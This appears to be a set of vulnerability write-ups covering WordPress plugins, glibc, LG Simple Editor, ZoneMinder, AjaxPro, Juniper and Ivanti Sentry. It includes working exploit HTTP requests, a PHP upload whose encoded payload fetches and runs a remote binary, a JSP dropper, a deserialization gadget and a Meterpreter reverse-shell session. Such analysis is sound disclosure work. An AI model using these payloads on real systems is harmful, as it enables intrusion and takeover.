POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Content-Dir: php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp Content-Type: application/x-www-form-urlencoded Content-Length: 0
References
https://www.wordfence.com/blog/2023/12/critical-unauthenticated-remote-code-execution-found-in-backup-migration-plugin/
https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it
https://wordpress.org/plugins/backup-backup/
Technical Analysis
This is a privilege escalation vulnerability in the dynamic loader of glibc. GLIBC_TUNABLES
is an environment variable which contains a colon separated set of switches that allow the user to tweak how glibc runs without having to recompile the binary. Example of how to properly set the environment variable:
GLIBC_TUNABLES=tunable1=AAA:tunable2=BBB
When the GLIBC_TUNABLES
environment variable is parsed in vulnerable versions, we can cause a buffer overflow by setting:
GLIBC_TUNABLES=tunable1=tunable2=AAA
Taking a look at glibc source code we can see why this works; the key is the absence of the colon in the above example and how that is handled at lines 203-204:
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 162 static void 163 parse_tunables (char *tunestr, char *valstring) 164 { ... 168 char *p = tunestr; 169 size_t off = 0; 170 171 while (true) 172 { 173 char *name = p; 174 size_t len = 0; 175 176 /* First, find where the name ends. */ 177 while (p[len] != '=' && p[len] != ':' && p[len] != '\0') 178 len++; 179 180 /* If we reach the end of the string before getting a valid name-value 181 pair, bail out. */ 182 if (p[len] == '\0') 183 { 184 if (__libc_enable_secure) 185 tunestr[off] = '\0'; 186 return; 187 } 188 189 /* We did not find a valid name-value pair before encountering the 190 colon. */ 191 if (p[len]== ':') 192 { 193 p += len + 1; 194 continue; 195 } 196 197 p += len + 1; 198 199 /* Take the value from the valstring since we need to NULL terminate it. */ 200 char *value = &valstring[p - tunestr]; 201 len = 0; 202 203 while (p[len] != ':' && p[len] != '\0') 204 len++; 205 206 /* Add the tunable if it exists. */ 207 for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++) 208 { 209 tunable_t *cur = &tunable_list[i]; 210 211 if (tunable_is_name (cur->name, name)) 212 { ... 219 if (__libc_enable_secure) 220 { 221 if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE) 222 { 223 if (off > 0) 224 tunestr[off++] = ':'; 225 226 const char *n = cur->name; 227 228 while (*n != '\0') 229 tunestr[off++] = *n++; 230 231 tunestr[off++] = '='; 232 233 for (size_t j = 0; j < len; j++) 234 tunestr[off++] = value[j]; 235 } 236 237 if (cur->security_level != TUNABLE_SECLEVEL_NONE) 238 break; 239 } 240 241 value[len] = '\0'; 242 tunable_initialize (cur, value); 243 break; 244 } 245 } 246 247 if (p[len] != '\0') 248 p += len + 1; 249 } 250 }
In the initial loop of “while (true)” within parse_tunables() (at lines 221-235), the entire “tunable1=tunable2=AAA” gets copied directly into tunestr, effectively filling it up. Moving to lines 247-248, p remains unchanged (as p[len] is ‘\0’ due to the absence of ‘:’ at lines 203-204), hence still referencing the value of “tunable1,” specifically “tunable2=AAA.” As the second loop of “while (true)” in parse_tunables() executes, “tunable2=AAA” gets added (as if it were another parameter) to tunestr, which is already at maximum capacity, resulting in a tunestr overflow. This can be used to invoke a SUID binary which will then, if we’re lucky, invoke the shell code we’ve overflowed onto the stack.
Attacker Value & Exploitability
There were a wide range of linux distributions that shipped with the affected glibc library. However to exploit each distribution you need to determine a specific “magic” offset in order for the buffer overflow to result in RCE. The original PoC shipped with tooling for users to determine this magic offset when ASLR was disabled, however it wasn’t working for Fedora, RedHat, Amazon Linux, Gentoo and a couple others I tested. Due to the low level complexity of the vuln the PoC likely needed some massaging in order to exploit those distros.
Because ASLR is enabled by default, you need to loop over the exploit many times in order for it to be successful. You have approximately a 1/2700 chance of the exploit being successful every time you attempt to exploit it. You can easily loop over exploit attempts quickly so that part doesn’t affect exploitability too much though does add a significant wait time for the exploit to be successful.
By default Ubuntu patches this vuln automatically as a part of the Automatic Security Updates, so you do have to go out of your way to set up a vulnerable instance.
Technical Analysis
The Royal Elementor Addons and Templates WordPress plugin provides themes and templates to make your WordPress site aesthetically pleasing with little effort. With over 200,000 installations it is quite popular making it a fantastic target for opportunistic attackers.
Versions prior to 1.3.79 are vulnerable to a file upload vulnerability which results in code execution as the user running the WordPress site. Once a WordPress site is configured to use the Addon the following action wpr_addons_upload_file
listens for input on the /wp-admin/admin-ajax.php
endpoint and is envokeable via a POST request. The action is accessible without authentication and fails to properly sanitize incoming file types. The endpoint won’t allow you to upload the .php
file type however if you upload a PHP payload with the filetype .ph$p
it bypasses the sanitization mechanism and allows you to drop a payload on the target.
Exploitation of the vulnerability is demonstrated in the following POST request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: wordpress.docksal User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Content-Type: multipart/form-data; boundary=---------------------------612499444778935602855148342223 Content-Length: 1078 -----------------------------612499444778935602855148342223 Content-Disposition: form-data; name="uploaded_file"; filename="WmrRA8wI.ph$p" Content-Type: application/octet-stream <?php system(base64_decode('Y3VybCAtc28gLi92RVNIVllzd0p2dyBodHRwOi8vMTcyLjE2LjE5OS4xMzc6ODA4MC9rQW9vd3NKYnpVRER3X2FDbFg4RDhnOyBjaG1vZCAreCAuL3ZFU0hWWXN3SnZ3OyAuL3ZFU0hWWXN3SnZ3ICY='));?> -----------------------------612499444778935602855148342223 Content-Disposition: form-data; name="action" wpr_addons_upload_file -----------------------------612499444778935602855148342223 Content-Disposition: form-data; name="max_file_size" 6395 -----------------------------612499444778935602855148342223 Content-Disposition: form-data; name="allowed_file_types" ph$p -----------------------------612499444778935602855148342223 Content-Disposition: form-data; name="triggering_event" click -----------------------------612499444778935602855148342223 Content-Disposition: form-data; name="wpr_addons_nonce" aa1b436f01 -----------------------------612499444778935602855148342223--
This has been actively exploited in the wild for a while now with the first signs of exploitation dating back to December 2019.
IOCs
Malicious adversaries have been identified dropping reverse shells in the following two filenames:
b1ack.p$hp
with md5sum: 1635f34d9c1da30ff5438e06d3ea6590
wp.ph$p
with md5sum: bac83f216eba23a865c591dbea427f22
That being said, I would be suspicious of any .ph$p
file if the Royal Elementor Addons and Template plugin was being used in my WordPress site.
*Note: Updating the plugin to the patched version 1.3.79
won’t remove malicious payloads dropped by an attacker – so be sure to scan for unwanted footholds after patching.
The majority of the attacks appear to be coming from the following three IP Addresses:
65[.]21.22.78
2a01[:]4f9:3080:4eea::2
135[.]181.181.50
Attacker Value and Exploitation
- This is super easy to exploit.
- It’s an unauth RCE in an internet facing application with +200,000 active installations (it’s a big deal)
- Exploited in the wild
- The only reason I’d give it a 4/5 for Attack Value is because it doesn’t give privileged access.
Technical Analysis
LG Simple Editor is a solution that enables you to create and distribute content easily and quickly by using templates. LG Simple Editor is recommended for small businesses and sports bars which require simple content display or play-on-air via their signage. It enables easy new content creation by simplifying processes, and immediate playback on signage. Version prior to v3.21
suffer from two vulnerability specifically a broken access control and directory traversal that result in remote code execution in the context of NT AUTHORITY \SYSTEM
Vulnerable Versions
- <= v3.21
Attacker Value & Exploitability
This exploit scores 5/5 in both categories primarily due to the fact the exploit provides unauthenticated remote code execution in the context of NT AUTHORITY \SYSTEM
. Other contributing factors are of course how it is vulnerable straight out of the box and how easy it is to exploit. It might not be as common in enterprise by nature of the product description above however I don’t think that should affect either of these ratings.
How it works
First start by exploiting the broken access control vulnerability (which at the time of writing does not have a CVE – it could be considered a feature). The endpoint /simpleeditor/imageManager/uploadImage.do
will allow you to upload a file with the .bmp
file extension of which the contents are not inspected thoroughly. In order to obtain remote code execution we can upload a malicious .jsp
under the disguise of a .bmp
file extension. The following .jsp
payload (used by the metasploit module windows/http/lg_simple_editor_rce
) first base64 decodes the raw bytes of a malicious executable, then writes the executable to a file, then runs the executable with Runtime.getRuntime().exe
.
POST /simpleeditor/imageManager/uploadImage.do HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: multipart/form-data; boundary=---------------------------761960311879735919883545313592 Content-Length: 99894 -----------------------------761960311879735919883545313592 Content-Disposition: form-data; name="uploadFile"; filename="SyouN.bmp" Content-Type: image/bmp Content-Transfer-Encoding: binary <%@page import="java.io.*" %> <%@page import="sun.misc.BASE64Decoder"%> <% try { String cXaet = " <<binary payload base64 encoded>> "; BASE64Decoder dHhlo = new BASE64Decoder(); byte[] aHZZzH = dHhlo.decodeBuffer(cXaet.toString()); File eplNCoYo = File.createTempFile("OXvZEnQ", ".exe"); String fbhUvbGUQZA = eplNCoYo.getAbsolutePath(); BufferedOutputStream bghnAwAsukY = new BufferedOutputStream(new FileOutputStream(fbhUvbGUQZA)); bghnAwAsukY.write(aHZZzH); bghnAwAsukY.close(); Process eVsTEolPjY = Runtime.getRuntime().exec(fbhUvbGUQZA); } catch (Exception e) { } %> -----------------------------761960311879735919883545313592 Content-Disposition: form-data; name="uploadPath" / -----------------------------761960311879735919883545313592 Content-Disposition: form-data; name="uploadFile_x" -1000 -----------------------------761960311879735919883545313592 Content-Disposition: form-data; name="uploadFile_y" -1000 -----------------------------761960311879735919883545313592 Content-Disposition: form-data; name="uploadFile_width" 1920 -----------------------------761960311879735919883545313592 Content-Disposition: form-data; name="uploadFile_height" 1080 -----------------------------761960311879735919883545313592--
Now we can exploit the vulnerability that is tied to CVE-2023-40498. The /simpleeditor/fileSystem/makeDetailContent.do
endpoint allows unauthenticated users to copy files on the filesystem with no directory traversal mitigations in place. So we can copy our malicious .bmp
file to a file with the extension .jsp
so we can execute it (ezpz some might say). This can be achieved by issuing the following POST request:
POST /simpleeditor/fileSystem/makeDetailContent.do HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 X-Requested-With: XMLHttpRequest Accept: application/json Content-Type: application/json Content-Length: 86 {"command":"cp","option":"-f","srcPath":"/SyouN_original.bmp","destPath":"/SyouN.jsp"}
The payload we uploaded is now in an executable file format in a directory accessible without authentication.
Technical Analysis
ZoneMinder is a free, open source Closed-circuit television software application. At the time of writing there appears to be just over 3200 identifiable instances listening on the internet according to the following crude Shodan query:
shodan count "http.html:\"<title>ZM - Login</title>\" http.html:\"/zm/\"" 3237
ZoneMinder prior to the versions listed below suffer from an unauthenticated remote code execution vulnerability in default configuration. The vulnerability is trivial to execute and provides a valuable entry point for attackers.
Vulnerable Versions
Prior to 1.36.33
Prior to 1.37.33
How it works
By default on affected versions unauthenticated users can access the create snapshot action when accessing the following endpoint /zm/index.php
. The following is an excerpt from snapshot.php
if ( $action == 'create' ) { if ( ! (isset($_REQUEST['monitor_ids']) and count($_REQUEST['monitor_ids']) > 0 ) ) { ZM\Error('No monitor ids given in snapshot creation request'); return; } $snapshot = new ZM\Snapshot();
The snapshot action expects a monitor_id
in order to fetch an existing monitor, however you can pass an object in order to create a new monitor instead (we will actually pass in a malicious payload here). Soon after the method TriggerOn();
is called in order to retrieve an event_id:
$event_id = $monitor->TriggerOn(); ZM\Debug("Have event $event_id for monitor $monitor_id");
TriggerOn()
immediately calls the function AlarmCommand($cmd)
:
function TriggerOn() { $output = $this->AlarmCommand('on');
Inside AlarmCommand
a call to shell_exec
is made and it appends the monitor_id
we sent earlier without applying any sanitization to the parameter:
$cmd = getZmuCommand($cmd.' -m '.validCardinal($this->{'Id'})); $output = shell_exec($cmd);
Exploiting the vuln.
Note that in order to exploit this vulnerability you have to first grab a csrf-token from the response body of a request to /zm/index.php
:
<div class="container"> <form class="center-block" name="loginForm" id="loginForm" method="post" action="?view=login"><input type='hidden' name='__csrf_magic' value="key:1b3da97bd640e57e0ce5dc6f5a09e7a1a9368004,1699900789" /> <input type="hidden" name="action" value="login"/> <input type="hidden" name="postLoginQuery" value="" />
In the above example the token is 1b3da97bd640e57e0ce5dc6f5a09e7a1a9368004,1699900789
. With that information you can then send the following post request to a vulnerable target in order to write a file to the temp directory:
POST /zm/index.php HTTP/1.1 Host: 192.168.65.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: application/x-www-form-urlencoded Content-Length: 268 view=snapshot&action=create&monitor_ids[0][Id]=;touch%20/tmp/pwnd&__csrf_magic=key:1b3da97bd640e57e0ce5dc6f5a09e7a1a9368004,1699900789
If you want to shell, edit the post request or use the metasploit module: unix/webapp/zoneminder_snapshots
References
https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr
Technical Analysis
Ajax.NET Professional better known as AjaxPro is an AJAX framework available for Microsoft ASP.NET. At the time of discovery of this deserialization RCE vulnerability, there were approximately 30,000 instances of AjaxPro in use. “Woah, scary! So many vulnerable instances” one might say, however do not be alarmed, this vulnerability is quite difficult to exploit.
Vulnerable versions (versions prior to 21.10.30.1
) contain example classes which demonstrate how you might implement the functionality of AjaxPro. These classes are not actually used by the framework. However one class in particular, the “ICartService” demonstrates how to construct a configuration which is vulnerable to this deserialization vulnerability.
1 namespace AjaxPro.Services 2{ 3 [AjaxNamespace("AjaxPro.Services.Cart")] 4 public abstract class ICartService 5 { 6 /// <summary> 7 /// Adds the item. 8 /// </summary> 9 /// <param name="cartName">Name of the cart.</param> 10 /// <param name="item">The item.</param> 11 /// <returns></returns> 12 [AjaxMethod] 13 public abstract bool AddItem(string cartName, object item); 14 15 /// <summary> 16 /// Gets the items. 17 /// </summary> 18 /// <param name="cartName">Name of the cart.</param> 19 /// <returns></returns> 20 [AjaxMethod] 21 public abstract object[] GetItems(string cartName); 22 } 23}
If this example were to be hosted by the application it would allow us to gain remote code execution by sending the following get request:
POST /ajaxpro/AjaxPro.Services.ICartService,AjaxPro.2.ashx HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 X-AjaxPro-Method: AddItem Content-Type: text/plain; charset=utf-8 Content-Length: 4670 {"item":{"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","ObjectInstance":{"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","StartInfo":{"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","FileName":"cmd","Arguments":"/c powershell.exe <insert payload here>"}}}}
It is important to note what parameters in the codebase the attacker needs to be privy to in order to exploit this vulnerability as it is unlikely an origination would go out of its way to host this specific example. In order to exploit the attacker needs to know:
- The
Namespace
, which is hosting the vulnerable Ajax Method.
- The
Method
name, which is sent in theX-AjaxPro-Method
header.
- The
Object
name, which contains the payload that gets passed to the vulnerable deserialization.
Every vulnerable instance of AjaxPro will implement the three above parameters differently depending on what the application designed to do, unless of course the developers lazily copy and pasted this example without changing a thing which is possible. Take for example, this application which was built by @numanturle specifically for demonstrating this vulnerability:
namespace CVE_2021_23758_POC { public partial class demo : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { AjaxPro.Utility.RegisterTypeForAjax(typeof(demo)); } [AjaxPro.AjaxMethod] public static String TestAjax(Object obj) { UserInfo u = obj as UserInfo; return u.Name; } } }
See how the Namespace
(CVE_2021_23758_POC), Method
(TestAjax) and Object
(obj) are all different and application specific. This vulnerability is not feasibly exploitable from a black box perspective, you need information about how the vulnerable code has been implemented – this is reflected in the Attacker Value and exploitability ratings.
References
https://github.com/numanturle/CVE-2021-23758-POC/tree/main
https://github.com/michaelschwarz/Ajax.NET-Professional/
https://github.com/rapid7/metasploit-framework/pull/18494
https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/
Technical Analysis
This might be the most impactful CVSSv3 5.3 rated vulnerability you’ve ever (or never) heard about. The vulnerability affects Juniper’s SRX Firewalls and EX Switches and allows unauthenticated attackers to change environment variables resulting in remote code execution as the nobody
user. I’m going to briefly go over the evolution of the research of this vulnerability as I found it interesting.
CVE-2023-36844 + CVE-2023-36845
The Juniper advisory was first analyzed by Sonny at watchtowr and they wrote a great blog outlining how they used this vulnerability along with CVE-2023-36844 in order to obtain RCE. CVE-2023-36844 is an arbitrary file upload function that exploits the do_upload
function within the affected device. So what Sonny did was:
Use CVE-2023-36844 to upload a PHP file containing our shellcode
Use CVE-2023-36844 again to upload a second file, containing an auto_prepend_file directive instructing the PHP preprocessor to execute the file we uploaded in step 1
Use bug CVE-2023-36845 to set the PHPRC variable to the file we uploaded in step 2.
Just CVE-2023-36845
Using the clever research published by Sonny, Jacob Baines from Vuln Check posted a blog outlining how RCE can be obtained solely using CVE-2023-36845.
The affected Juniper devices use Appweb web server and when Appweb invokes a CGI script it passes arguments and environment variables in order for the script to access the users’s HTTP request. The body of the HTTP request is passed using stdin. Jacob noted that every FreeBSD process has access to their stdin by opening /dev/fd/0
. So by sending an HTTP request, an attacker is able to introduce a “file”, /dev/fd/0
to the system.
So if the attacker set’s PHPRC
equal to /dev/fd/0
and then uses the PHP function auto_prepend_file
which causes the provided file to be added using the require
function, in combination with allow_url_include
which allows the use of URL-aware fopen
wrappers. The attacker can then set auto_prepend_file
equal to data://<payload_goes_here>
so that the payload is provided inline and gets executed without ever being written to disk. Very cool.
Try this at home
There’s a great metasploit module available for this that can be found here and can be run like so:
msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set rhosts 192.168.0.247 rhosts => 192.168.0.247 msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set lhost 192.168.0.77 lhost => 192.168.0.77 msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > run [*] Started reverse TCP handler on 192.168.0.77:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Environment variable manipulation succeeded indicating this target is vulnerable. [*] Sending stage (39927 bytes) to 192.168.0.247 [*] Meterpreter session 4 opened (192.168.0.77:4444 -> 192.168.0.247:58995) at 2023-09-20 16:27:04 -0400 meterpreter > getuid Server username: nobody meterpreter > sysinfoi [-] Unknown command: sysinfoi meterpreter > sysinfo Computer : JUNOS OS : FreeBSD JUNOS JNPR-11.0-20200608.0016468_buil FreeBSD JNPR-11.0-20200608.0016468_builder_stable_11 #0 r356482+0016468ed6c(stable/11): Sun Jun 7 23:59:18 PDT 2020 builder@feyrith.juniper.net:/volume/build/junos/occam/llvm-5.0/sandbox-20200605/freebsd/ Meterpreter : php/freebsd meterpreter >
References
https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
https://vulncheck.com/blog/juniper-cve-2023-36845
Technical Analysis
Description
Ivanti Sentry (formerly MobileIron Sentry) is vulnerable to an authentication by-pass which exposes API functionality which allows for code execution in the context of the root user. The vulnerable endpoint /mics/services/MICSLogService
exposes a binary web service protocol, Hessian, which allows remote users to invoke functions within the target Sentry system.
One of the functions accessible via Hessian and the vulnerable endpoint is uploadFileUsingFileInput
which accepts a command
argument that gets directly fed into a Runtime.getRuntime().exec(cmd)
call. The command is run in the context of the tomcat2
user however by default tomcat2
is able to execute commands with sudo thus we can use this to execute the payload in the context of the root
user.
Attacker Value and Exploitability
For attacker’s this one is pretty juicy as it gives unauthenticated RCE in the context of the root users, it doesn’t get much better than that. Seeing CVE-2023-38035 being added to the KEV list only one day after it was published speaks volumes on the usefulness to malicious adversaries. To the attacker’s benefit there aren’t any definitive IoCs other than unrecognized HTTP requests to /services/*
which should be cause for concern. The only saving grace is that a Shodan search for Ivanti Sentry targets on the internet only yielded around 500 vulnerable instances exposed at the time the vuln was disclosed.
Vulnerable Versions
Ivanti Sentry versions vulnerable to CVE-2023-38035:
- =< 9.18.0
Vulnerable Environment
A vulnerable MobileIron Sentry version 9.12.0-16 .vhd
file can be downloaded from the following URL
Metasploit Module Demonstration
